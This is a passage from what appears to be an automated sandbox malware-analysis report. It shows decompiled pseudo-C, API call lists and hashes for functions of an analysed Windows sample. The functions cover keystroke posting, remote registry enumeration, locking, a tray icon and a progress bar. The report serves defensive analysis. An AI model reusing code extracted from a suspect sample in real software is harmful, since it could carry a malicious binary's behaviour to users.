					SetKeyboardState( &_v256);
					if( *_t102 != 0 ||  *((char*)(_t102 + 1)) != 0) {
						PostMessageW( *(_t103 + 0x20), 0x100, 0x10, ( *(_t103 + 0x26) & 0x000000ff) << 0x00000010 | 0x00000001);
					}
					if( *((char*)(_t102 + 2)) != 0) {
						PostMessageW( *(_t103 + 0x20), 0x100, 0x11, ( *(_t103 + 0x24) & 0x000000ff) << 0x00000010 | 0x00000001);
					}
					_t70 =  *((intOrPtr*)(_t102 + 3));
					if(_t70 != 0) {
						if( *((char*)(_t102 + 2)) != 0 ||  *((char*)(_t103 + 0x1c)) != 0) {
							if(_t70 != 0) {
								PostMessageW( *(_t103 + 0x20), 0x100, 0x12, ( *(_t103 + 0x25) & 0x000000ff) << 0x00000010 | 0x00000001);
								goto L28;
							}
						} else {
							PostMessageW( *(_t103 + 0x20), 0x104, 0x12, ( *(_t103 + 0x25) & 0x000000ff) << 0x00000010 | 0x20000001);
							L28:
						}
					}
					if( *((char*)(_t102 + 4)) == 0) {
						goto L41;
					}
					PostMessageW( *(_t103 + 0x20), 0x100, 0x5b, ( *(_t103 + 0x29) & 0x000000ff) << 0x00000010 | 0x00000001);
					return E0043792A(_t132, _t103);
				} else {
					return _t53;
				}
			}
















                                                                                                                                                                            0x00444b65
                                                                                                                                                                            0x00444b6c
                                                                                                                                                                            0x00444b74
                                                                                                                                                                            0x00444b7e
                                                                                                                                                                            0x00444b9c
                                                                                                                                                                            0x00444ba2
                                                                                                                                                                            0x00444cd5
                                                                                                                                                                            0x00444ce4
                                                                                                                                                                            0x00444ce4
                                                                                                                                                                            0x00444ced
                                                                                                                                                                            0x00444cfc
                                                                                                                                                                            0x00444cfc
                                                                                                                                                                            0x00444d05
                                                                                                                                                                            0x00444d11
                                                                                                                                                                            0x00444d11
                                                                                                                                                                            0x00444d1a
                                                                                                                                                                            0x00444d26
                                                                                                                                                                            0x00444d26
                                                                                                                                                                            0x00444d2f
                                                                                                                                                                            0x00444d3b
                                                                                                                                                                            0x00444d3b
                                                                                                                                                                            0x00444d40
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444d46
                                                                                                                                                                            0x00444bbc
                                                                                                                                                                            0x00444bc7
                                                                                                                                                                            0x00444bc9
                                                                                                                                                                            0x00444bcd
                                                                                                                                                                            0x00444bcd
                                                                                                                                                                            0x00444bd8
                                                                                                                                                                            0x00444bda
                                                                                                                                                                            0x00444bde
                                                                                                                                                                            0x00444bde
                                                                                                                                                                            0x00444be9
                                                                                                                                                                            0x00444beb
                                                                                                                                                                            0x00444beb
                                                                                                                                                                            0x00444bf3
                                                                                                                                                                            0x00444bf5
                                                                                                                                                                            0x00444bf5
                                                                                                                                                                            0x00444bfd
                                                                                                                                                                            0x00444bff
                                                                                                                                                                            0x00444bff
                                                                                                                                                                            0x00444c08
                                                                                                                                                                            0x00444c17
                                                                                                                                                                            0x00444c35
                                                                                                                                                                            0x00444c35
                                                                                                                                                                            0x00444c3b
                                                                                                                                                                            0x00444c53
                                                                                                                                                                            0x00444c53
                                                                                                                                                                            0x00444c55
                                                                                                                                                                            0x00444c5a
                                                                                                                                                                            0x00444c60
                                                                                                                                                                            0x00444c84
                                                                                                                                                                            0x00444c9c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444c9c
                                                                                                                                                                            0x00444c68
                                                                                                                                                                            0x00444c9c
                                                                                                                                                                            0x00444c9c
                                                                                                                                                                            0x00444c9c
                                                                                                                                                                            0x00444c60
                                                                                                                                                                            0x00444ca2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444cbe
                                                                                                                                                                            0x00444ccf
                                                                                                                                                                            0x00444d4f
                                                                                                                                                                            0x00444d4f
                                                                                                                                                                            0x00444d4f

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetParent.USER32(?), ref: 00444BA9
                                                                                                                                                                            • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                                                                                            • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                                                                                            • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 87235514-0
                                                                                                                                                                            • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                            • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                                                                                            • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                                                                                            • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E0046A98D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v544;
				char _v548;
				char _v552;
				char _v564;
				char _v568;
				void* _v584;
				char _v588;
				char _v592;
				void* _v600;
				void* _v604;
				void* _v608;
				intOrPtr* _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char _v624;
				void* _v625;
				void* _v629;
				intOrPtr* _v656;
				intOrPtr* _v660;
				intOrPtr _v664;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t60;
				long _t67;
				void* _t68;
				long _t69;
				long _t91;
				intOrPtr* _t110;
				void* _t135;
				void* _t140;
				signed int _t144;
				void* _t147;
				intOrPtr* _t148;

				_t149 = __eflags;
				_v604 = __ecx;
				_v600 = 0;
				_v568 = 0xff;
				E0040C060( &_v564, __eflags);
				E0040C060( &_v588, __eflags);
				E0040C060( &_v548, __eflags);
				E0040E6D0(_a8, __eflags);
				_t100 = _a4;
				_t60 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				_t147 = (_t144 & 0xfffffff8) - 0x24c;
				E00401B70(_a4, _t60, _t147, _t149);
				E00462DEC( &_v592,  &_v568,  &_v592,  &_v552, _t135, _t140);
				_t148 = _t147 - 0x10;
				 *_t148 = _v620;
				_v660 = _v612;
				_t110 = _v608;
				_v664 = _v616;
				_v656 = _t110;
				 *_t110 =  *_t110 + 1;
				_push( &_v604);
				_push( &_v624);
				if(E00462BF3(_t110,  &_v604, _t149) != 0) {
					_t67 = E00437BFD(_t148 + 0x38);
					 *((char*)(_t148 + 0xf)) = _t67;
					__eflags = _t67;
					if(_t67 != 0) {
						_t68 = _v600;
						L7:
						_t69 = RegOpenKeyExW(_t68,  *(_t148 + 0x4c), 0,  *(_t148 + 0x30) | 0x00020019,  &_v604);
						__eflags = _t69;
						if(_t69 == 0) {
							__eflags = RegEnumKeyExW(_v604, E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t100 + 4)) + 4))) - 1, _t148 + 0x74, _t148 + 0x44, 0, 0, 0, _t148 + 0x58);
							if(__eflags == 0) {
								E0040E6D0(_a8, __eflags);
							} else {
								E004040E0( *((intOrPtr*)( *_v612 + 4)) + _v612, 0xffffffff, 0);
							}
							RegCloseKey(_v604);
						} else {
							E004040E0( *((intOrPtr*)( *_v612 + 4)) + _v612, 1, 0);
						}
						__eflags =  *((char*)(_t148 + 0xf));
						if( *((char*)(_t148 + 0xf)) == 0) {
							RegCloseKey(_v608);
						}
						L15:
						E00402620(_t148 + 0x48);
						E00402620(_t148 + 0x20);
						E00402620(_t148 + 0x38);
						return 0;
					}
					_t91 = RegConnectRegistryW( *(_t148 + 0x38), _v600,  &_v608);
					__eflags = _t91;
					if(_t91 == 0) {
						_t68 = _v608;
						goto L7;
					}
					E004040E0( *((intOrPtr*)( *_v612 + 4)) + _v612, 3, 0);
					goto L15;
				}
				E004040E0( *((intOrPtr*)( *_v612 + 4)) + _v612, 2, 0);
				goto L15;
			}






































                                                                                                                                                                            0x0046a98d
                                                                                                                                                                            0x0046a99b
                                                                                                                                                                            0x0046a9a4
                                                                                                                                                                            0x0046a9ac
                                                                                                                                                                            0x0046a9b4
                                                                                                                                                                            0x0046a9bd
                                                                                                                                                                            0x0046a9c6
                                                                                                                                                                            0x0046a9d3
                                                                                                                                                                            0x0046a9d8
                                                                                                                                                                            0x0046a9e1
                                                                                                                                                                            0x0046a9e6
                                                                                                                                                                            0x0046a9ed
                                                                                                                                                                            0x0046aa01
                                                                                                                                                                            0x0046aa0e
                                                                                                                                                                            0x0046aa11
                                                                                                                                                                            0x0046aa18
                                                                                                                                                                            0x0046aa1c
                                                                                                                                                                            0x0046aa20
                                                                                                                                                                            0x0046aa24
                                                                                                                                                                            0x0046aa28
                                                                                                                                                                            0x0046aa2e
                                                                                                                                                                            0x0046aa33
                                                                                                                                                                            0x0046aa3b
                                                                                                                                                                            0x0046aa5b
                                                                                                                                                                            0x0046aa60
                                                                                                                                                                            0x0046aa64
                                                                                                                                                                            0x0046aa66
                                                                                                                                                                            0x0046aaa0
                                                                                                                                                                            0x0046aaa4
                                                                                                                                                                            0x0046aabc
                                                                                                                                                                            0x0046aac8
                                                                                                                                                                            0x0046aaca
                                                                                                                                                                            0x0046ab0f
                                                                                                                                                                            0x0046ab11
                                                                                                                                                                            0x0046ab30
                                                                                                                                                                            0x0046ab13
                                                                                                                                                                            0x0046ab22
                                                                                                                                                                            0x0046ab22
                                                                                                                                                                            0x0046ab3a
                                                                                                                                                                            0x0046aacc
                                                                                                                                                                            0x0046aadb
                                                                                                                                                                            0x0046aadb
                                                                                                                                                                            0x0046ab3c
                                                                                                                                                                            0x0046ab41
                                                                                                                                                                            0x0046ab48
                                                                                                                                                                            0x0046ab48
                                                                                                                                                                            0x0046ab4a
                                                                                                                                                                            0x0046ab4e
                                                                                                                                                                            0x0046ab57
                                                                                                                                                                            0x0046ab60
                                                                                                                                                                            0x0046ab6d
                                                                                                                                                                            0x0046ab6d
                                                                                                                                                                            0x0046aa77
                                                                                                                                                                            0x0046aa7d
                                                                                                                                                                            0x0046aa7f
                                                                                                                                                                            0x0046aa9a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046aa9a
                                                                                                                                                                            0x0046aa90
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046aa90
                                                                                                                                                                            0x0046aa4c
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 535477410-2761332787
                                                                                                                                                                            • Opcode ID: a63ec9c83cc9168df7042b3b4fff60977e3a3802a1594c770730f3a376df3e6f
                                                                                                                                                                            • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                                                                                            • Opcode Fuzzy Hash: a63ec9c83cc9168df7042b3b4fff60977e3a3802a1594c770730f3a376df3e6f
                                                                                                                                                                            • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0047244D(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t20;
				signed int _t29;
				signed int _t30;
				intOrPtr _t40;
				signed int _t43;
				void* _t44;
				intOrPtr _t46;
				signed int _t51;
				void* _t54;
				signed int _t56;
				signed int _t60;
				signed int _t64;
				signed int _t69;
				intOrPtr* _t73;
				void* _t74;

				_t44 = __ecx;
				_t40 =  *((intOrPtr*)(_t74 + 0x18));
				_t73 =  *((intOrPtr*)(_t74 + 0x24));
				_t51 =  *0x482214;
				 *((intOrPtr*)(_t74 + 0x14)) = 0;
				 *((intOrPtr*)(_t74 + 0x1c)) = 1;
				 *((intOrPtr*)(_t74 + 0x20)) = 0;
				_t54 = 3;
				InterlockedIncrement(0x4a7cac);
				_t20 =  *0x4a7cac; // 0x0
				if(_t20 == 1) {
					L5:
					E004092C0(_t51, _t74 + 0x10);
					_t56 =  *0x4a7cb0; // 0x0
					 *((intOrPtr*)(_t74 + 0x1c)) = 6;
					 *((intOrPtr*)(_t74 + 0x14)) = _t40 + 0x18;
					E0040BE00(_t40, _t44, _t51, ((_t56 & 0x0000003f) << 4) + 0x4a8ed0, _t73, _t74 + 0x10);
					_t41 = _t74 + 0x10;
					E0040E6D0(_t74 + 0x10, _t77);
					_t60 =  *0x4a7cb0; // 0x0
					E0040BE00(_t74 + 0x10, _t44,  *((intOrPtr*)(_t40 + 0x30)), ((_t60 & 0x0000003f) << 4) + 0x4a8ed0, _t73, _t41);
					E00467626(_t41, _t41,  *((intOrPtr*)(_t74 + 0x28)));
					_t64 =  *0x4a7cb0; // 0x0
					E0040BE00(_t41, _t41,  *((intOrPtr*)(_t40 + 0x30)), ((_t64 & 0x0000003f) << 4) + 0x4a8ed0, _t73, _t41);
					_t51 =  *((intOrPtr*)(_t73 + 8)) - 1;
					if(_t51 < 0) {
						L8:
						_t29 =  *0x4a7cb0; // 0x0
						_t46 =  *0x4a7cb4; // 0x0
						_t30 = _t29 + 1;
						 *0x4a7cb0 = _t30;
						if(_t30 > _t46 + 0x40) {
							 *0x4a7cb4 = _t30 + 0xffffffc0;
						}
						L10:
						InterlockedDecrement(0x4a7cac);
						E004092C0(_t51, _t74 + 0x10);
						return 0;
					}
					_t43 = _t51 << 4;
					do {
						E00467626(_t43, _t74 + 0x14,  *_t73 + _t43);
						_t69 =  *0x4a7cb0; // 0x0
						E0040BE00(_t43, _t74 + 0x14, _t51, ((_t69 & 0x0000003f) << 4) + 0x4a8ed0, _t73, _t74 + 0x10);
						_t51 = _t51 - 1;
						_t43 = _t43 - 0x10;
					} while (_t51 >= 0);
					goto L8;
				}
				while(_t54 != 0) {
					InterlockedDecrement(0x4a7cac);
					Sleep(0xa);
					InterlockedIncrement(0x4a7cac);
					_t20 =  *0x4a7cac; // 0x0
					_t54 = _t54 - 1;
					_t77 = _t20 - 1;
					if(_t20 != 1) {
						continue;
					}
					goto L5;
				}
				__eflags = _t20 - 1;
				if(_t20 != 1) {
					goto L10;
				}
				goto L5;
			}






















                                                                                                                                                                            0x0047244d
                                                                                                                                                                            0x00472451
                                                                                                                                                                            0x00472456
                                                                                                                                                                            0x0047245c
                                                                                                                                                                            0x00472469
                                                                                                                                                                            0x0047246d
                                                                                                                                                                            0x00472475
                                                                                                                                                                            0x00472479
                                                                                                                                                                            0x0047247c
                                                                                                                                                                            0x0047247e
                                                                                                                                                                            0x00472486
                                                                                                                                                                            0x004724bc
                                                                                                                                                                            0x004724c0
                                                                                                                                                                            0x004724c6
                                                                                                                                                                            0x004724db
                                                                                                                                                                            0x004724e3
                                                                                                                                                                            0x004724e7
                                                                                                                                                                            0x004724ef
                                                                                                                                                                            0x004724f3
                                                                                                                                                                            0x004724f8
                                                                                                                                                                            0x0047250b
                                                                                                                                                                            0x00472517
                                                                                                                                                                            0x0047251c
                                                                                                                                                                            0x0047252f
                                                                                                                                                                            0x00472537
                                                                                                                                                                            0x0047253a
                                                                                                                                                                            0x00472574
                                                                                                                                                                            0x00472574
                                                                                                                                                                            0x00472579
                                                                                                                                                                            0x0047257f
                                                                                                                                                                            0x00472585
                                                                                                                                                                            0x0047258a
                                                                                                                                                                            0x0047258f
                                                                                                                                                                            0x0047258f
                                                                                                                                                                            0x00472594
                                                                                                                                                                            0x00472599
                                                                                                                                                                            0x004725a3
                                                                                                                                                                            0x004725b1
                                                                                                                                                                            0x004725b1
                                                                                                                                                                            0x0047253e
                                                                                                                                                                            0x00472541
                                                                                                                                                                            0x0047254b
                                                                                                                                                                            0x00472550
                                                                                                                                                                            0x00472567
                                                                                                                                                                            0x0047256c
                                                                                                                                                                            0x0047256d
                                                                                                                                                                            0x00472570
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00472541
                                                                                                                                                                            0x00472488
                                                                                                                                                                            0x00472491
                                                                                                                                                                            0x00472499
                                                                                                                                                                            0x004724a4
                                                                                                                                                                            0x004724a6
                                                                                                                                                                            0x004724ab
                                                                                                                                                                            0x004724ac
                                                                                                                                                                            0x004724af
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004724b1
                                                                                                                                                                            0x004724b3
                                                                                                                                                                            0x004724b6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                                            • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                                            • String ID: 0vH
                                                                                                                                                                            • API String ID: 327565842-3662162768
                                                                                                                                                                            • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                            • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                                            • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                            • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401E70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 88%
                                                                                                                                                                            			E00401E70(void* __eax, void* __ebx, void* __fp0) {
				char _v916;
				intOrPtr _v928;
				intOrPtr _v932;
				char _v936;
				char _v940;
				short _v942;
				short _v1196;
				char _v1212;
				char _v1220;
				void* __edi;
				void* __esi;
				void* _t33;
				intOrPtr _t57;
				void* _t62;
				intOrPtr _t63;
				void* _t76;

				_t76 = __fp0;
				_t46 = __ebx;
				_t23 = __eax;
				_t70 =  *0x497292;
				_push(_t57);
				if( *0x497292 != 0) {
					_t62 = __eax;
					E00401400(0x104, __ebx,  &_v1212, _t57, _t70);
					if( *0x497294 == 1) {
						LoadStringW( *0x4972c8, 0x65,  &_v1196, 0x7f);
					} else {
						_v1196 = 0;
					}
					E004021E0( &_v1212, _t46, 0,  &_v1196);
					if( *0x497291 != 0) {
						_t57 =  *0x4a7cf8; // 0x8bfcd0
						E0040D330( &_v1212, _t46, _t57, _t76);
						_t63 =  *0x4a8014; // 0x1c
						_t33 = E00437A81(_t63);
						__eflags = _t33;
						if(_t33 == 0) {
							goto L7;
						} else {
							E0040D330( &_v1212, _t46, L"\nLine: ", _t76);
							_t57 = E00437A81(_t63);
							goto L6;
						}
						L13:
					} else {
						if( *((intOrPtr*)(_t62 + 0x60)) != 0) {
							E0040DF50( &_v1212, _t62 + 0x5c);
						} else {
							_t57 =  *0x4a7cf8; // 0x8bfcd0
							L6:
							E0040D330( &_v1212, _t46, _t57, _t76);
						}
					}
					L7:
					E004131F0(_t57,  &_v936, 0, 0x3a4);
					_v940 = 0x3a8;
					_v936 =  *0x4972c0;
					_v932 = 1;
					_v928 = 4;
					E0041326A( &_v1196, _v1212, 0x7f);
					_v942 = 0;
					E00411691( &_v916,  &_v1196);
					 *0x48248c(1,  &_v940);
					_t23 = E00402620( &_v1220);
				}
				return _t23;
				goto L13;
			}



















                                                                                                                                                                            0x00401e70
                                                                                                                                                                            0x00401e70
                                                                                                                                                                            0x00401e70
                                                                                                                                                                            0x00401e7c
                                                                                                                                                                            0x00401e84
                                                                                                                                                                            0x00401e85
                                                                                                                                                                            0x00401e8b
                                                                                                                                                                            0x00401e96
                                                                                                                                                                            0x00401ea2
                                                                                                                                                                            0x0042a9b0
                                                                                                                                                                            0x00401ea8
                                                                                                                                                                            0x00401eaa
                                                                                                                                                                            0x00401eaa
                                                                                                                                                                            0x00401eb8
                                                                                                                                                                            0x00401ec4
                                                                                                                                                                            0x0042a9cd
                                                                                                                                                                            0x0042a9d7
                                                                                                                                                                            0x0042a9dc
                                                                                                                                                                            0x0042a9e3
                                                                                                                                                                            0x0042a9e8
                                                                                                                                                                            0x0042a9ea
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042a9f0
                                                                                                                                                                            0x0042a9f9
                                                                                                                                                                            0x0042aa04
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042aa04
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00401eca
                                                                                                                                                                            0x00401ece
                                                                                                                                                                            0x0042a9c3
                                                                                                                                                                            0x00401ed4
                                                                                                                                                                            0x00401ed4
                                                                                                                                                                            0x00401eda
                                                                                                                                                                            0x00401ede
                                                                                                                                                                            0x00401ede
                                                                                                                                                                            0x00401ece
                                                                                                                                                                            0x00401ee3
                                                                                                                                                                            0x00401ef2
                                                                                                                                                                            0x00401f09
                                                                                                                                                                            0x00401f14
                                                                                                                                                                            0x00401f1b
                                                                                                                                                                            0x00401f26
                                                                                                                                                                            0x00401f31
                                                                                                                                                                            0x00401f45
                                                                                                                                                                            0x00401f4d
                                                                                                                                                                            0x00401f5f
                                                                                                                                                                            0x00401f69
                                                                                                                                                                            0x00401f69
                                                                                                                                                                            0x00401f73
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • _memset.LIBCMT ref: 00401EF2
                                                                                                                                                                            • _wcsncpy.LIBCMT ref: 00401F31
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 00401F4D
                                                                                                                                                                            • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401F5F
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                                            • String ID: Line:
                                                                                                                                                                            • API String ID: 1620655955-1585850449
                                                                                                                                                                            • Opcode ID: 2863b0622d7c727e9b4eb7be469658bed815448e9e41699da7f245ae1fd5f261
                                                                                                                                                                            • Instruction ID: cf28deb443ef615b1806bb9b25f2b858971b96f44b4edcf5fc59c771c180b501
                                                                                                                                                                            • Opcode Fuzzy Hash: 2863b0622d7c727e9b4eb7be469658bed815448e9e41699da7f245ae1fd5f261
                                                                                                                                                                            • Instruction Fuzzy Hash: 2031B0B1518301ABD320EB21DC41BDF77E8AB94314F04493FF989531A1EB78AA49C79B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00450DB4(intOrPtr _a4, struct HWND__** _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				void* _t12;
				struct HWND__* _t13;
				intOrPtr _t32;
				struct HWND__** _t34;

				_t11 = _a32;
				_t34 = _a8;
				_t32 = _a36;
				if(_a32 == 0xffffffff) {
					_t11 = 0;
				}
				_t12 = E004491CB(_t11);
				if(_t32 == 0xffffffff) {
					_t32 = 0;
				}
				_t13 = E0043362D(_a4, _t32, L"Msctls_Progress32", 0, _t12, _a16, _a20, _a24, _a28, _a12, 0);
				 *_t34 = _t13;
				if(_t13 != 0) {
					SendMessageW(_t13, 0x2001, 0, 0xff000000);
					SendMessageW( *_t34, 0x409, 0, 0xff000000);
